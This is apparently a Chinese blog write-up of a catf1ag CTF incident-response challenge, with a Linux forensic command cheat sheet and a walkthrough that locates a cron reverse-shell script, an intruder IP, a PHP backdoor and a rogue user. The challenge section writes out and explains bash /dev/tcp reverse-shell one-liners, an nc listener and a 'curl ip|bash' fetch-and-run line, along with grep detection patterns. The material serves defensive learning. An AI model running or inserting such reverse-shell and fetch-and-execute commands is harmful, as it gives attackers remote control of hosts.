提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
最近看网络安全应急响应技术实战指南(奇安信)的书籍过半,刚好在catf1ag平台遇到查杀的PWN题目,做个解题记录,顺便总结下linux系统下查杀的操作。
提示:以下是本篇文章正文内容
(1)系统基本信息
lscpu 查看cpu的相关信息,包括型号,主频,内核
uname -a 查看当前操作系统信息
cat /proc/version 查看操作系统版本
lsmod 查看所有载入系统的模块信息
(2)用户信息
cat /etc/passwd 查看用户信息,各项由冒号分开分别表示“用户名”“密码加密”“用户ID”“用户组ID”“注释”“用户主目录”“默认登录shell”,bin/bash表示可登录,sbin/nologin表示不可登录
awk -F: '{if($3==0)print $1}' /etc/passwd 查看UID为0的超级用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow 查看空口令账户
lastb 查看显示用户错误的登录列表
lastlog 系统中所有用户最后登录信息
last 用户最近登录信息(var/log/wtmp|btmp|utmp),wtmp存储登录成功,btmp存储登录失败,utmp当前正在登录
(3)启动项
cat /etc/init.d/rc.local 查看init.d文件夹rc.local文件内容
cat /etc/rc.local 查看rc.local的文件内容
ls -alt /etc/init.d 查看init.d文件夹下所有文件详细信息
(4)任务计划
任务计划一般位于/etc/cron*这样的文件中
crontab -l 当前任务计划
crontab -u username -l 查看某用户的任务计划
ls /etc/cron* etc目录下所有任务计划文件
通常还有以下包含任务的文件夹
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/*
/etc/anacrontab
(1)服务排查
netstat 分析可疑端口,可疑IP,example: netstat -antlp,netstat -ano等
ls -alt /proc/PID 查看进程ID对应执行程序
lsof -p PID 查看进程打开的文件
kill -9 PID 杀掉某ID进程
rm -rf filename 删除某文件,如果root用户也无法删除,说明文件被加了i属性
lsattr filename 查看文件属性
chattr -i filename 移除文件的i属性
ps -ef | awk '{print}' | sort -n |uniq >1,ls /proc | sort -n | uniq>2,diff 1 2,按顺序执行查看隐藏进程
chkconfig --list 查看系统运行的服务,0-6表示等级,分别为单用户模式,无网络连接多用户命令行模式,有网络连接多用户命令行模式,不可用,带图形界面多用户模式,重新启动
top 查看占用率较高的进程
ps 查看进程信息,如 ps -ef等
(2)文件痕迹排查
linux常见敏感目录为/tmp目录和命令目录/usr/bin,/usr/sbin常作为恶意软件下载目录或被替换目录
find 在指定目录下查找
-type b/d/c/p/l/f 查找块设备,目录,字符设备,管道,符号连接,普通文件
-mtime -n +n 按文件更改时间查找文件,-n表示n天内,+n表示n天前
-atime -n +n 按文件访问时间查找文件
-ctime -n +n 按文件创建时间查找文件
stat 查看文件的创建时间,修改时间,访问时间
chkrootkit 检测是否有rootkit后门程序,若出现infected说明检测出系统后门
Example:
find / -atime 5 -name "*.php"(查找五天内访问的.php的后缀文件)
find / -ctime 5 -name "*.sh"(查找五天内新增的.sh的后缀文件)
find /目录 -perm 777 查看777权限的文件
stat test.php 查看test.php文件的详细信息
find / -name "*.php" | xargs egrep "assert|eval|exec|shell_exec|POST" 查找php文件,内容中有assert,eval等的文件
ls -alt /bin 查看命令目录中相关系统命令的修改时间
ls -alh /bin 查看相关文件的大小判断是否被替换
(3)日志分析
/var/log/wtmp 记录登录进入,退出,数据交换,关机,重启
/var/log/cron 记录与定时任务相关日志信息
/var/log/messages 记录系统启动后的信息和错误日志
/var/log/apache2/access.log 记录Apache访问日志
/var/log/auth.log 记录系统授权信息
/var/log/secure 记录仪大多数应用输入的账号和密码以及登录与否
/var/log/faillog 记录登录系统不成功信息
cat /var/log/secure |awk '/Accepted/{print $(NF-3}'|sort|uniq -c|awk '{print $2"="$1;}' (Centos)定位多少IP地址暴力破解root
grep "Accepted" /var/log/secure |awk '{print $1,$2,$3,$9,$11}' 查看成功登录的日期,用户名,IP地址
(5)流量分析
Wireshark的灵活使用
题目内容:
有一天,catf1ag平台收到了一封远程登录的邮件,经过和内部小伙伴的沟通后发现,并不是他们登录,于是admin登录上了服务器查看,发现原来是被入侵了,被植入了定时反弹shell的文件和后门文件,请进入服务器模拟排查问题,找出反弹shell的文件,找出远程的登录IP,找出php后门文件的连接密码和新增的异常用户。
题目提示比较明显,服务器使用PHP注入了shell后门,一般PHP进行反弹shell操作为
bash -i >& /dev/tcp/ip/port 0>&1
或
bash -c "bash -i >& /dev/tcp/ip/port 0>&1" # bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
完整解读:
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。
/dev/tcp/ip/port 让目标主机与攻击机ip.port端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。
Bash产生了一个交互环境和本地主机主动发起与攻击机port端口建立的连接(即TCP port会话连接)相结合,然后在重定向个TCP port会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
在攻击机上:
nc -lvvp port
curl ip|bash
使用ssh命令登录服务器
使用find命令先查找PHP文件,find / -name "*.php" |xargs egrep "eval|POST"
继续使用find命令查找.sh后缀的文件,find / -name "*.sh" |xargs egrep "bash|dev|tcp"
使用 cat /etc/passwd查找用户的信息,发现hacker_v用户
得到最后catf1ag{1.15.155.181-she11.sh-cat_f1ag_666-hacker_v}
应急响应需要具备数据采集,存储,检索能力,事件发现能力,事件分析能力,事件研判能力,事件处置能力,攻击溯源能力。对于Window系统的遇到再补一波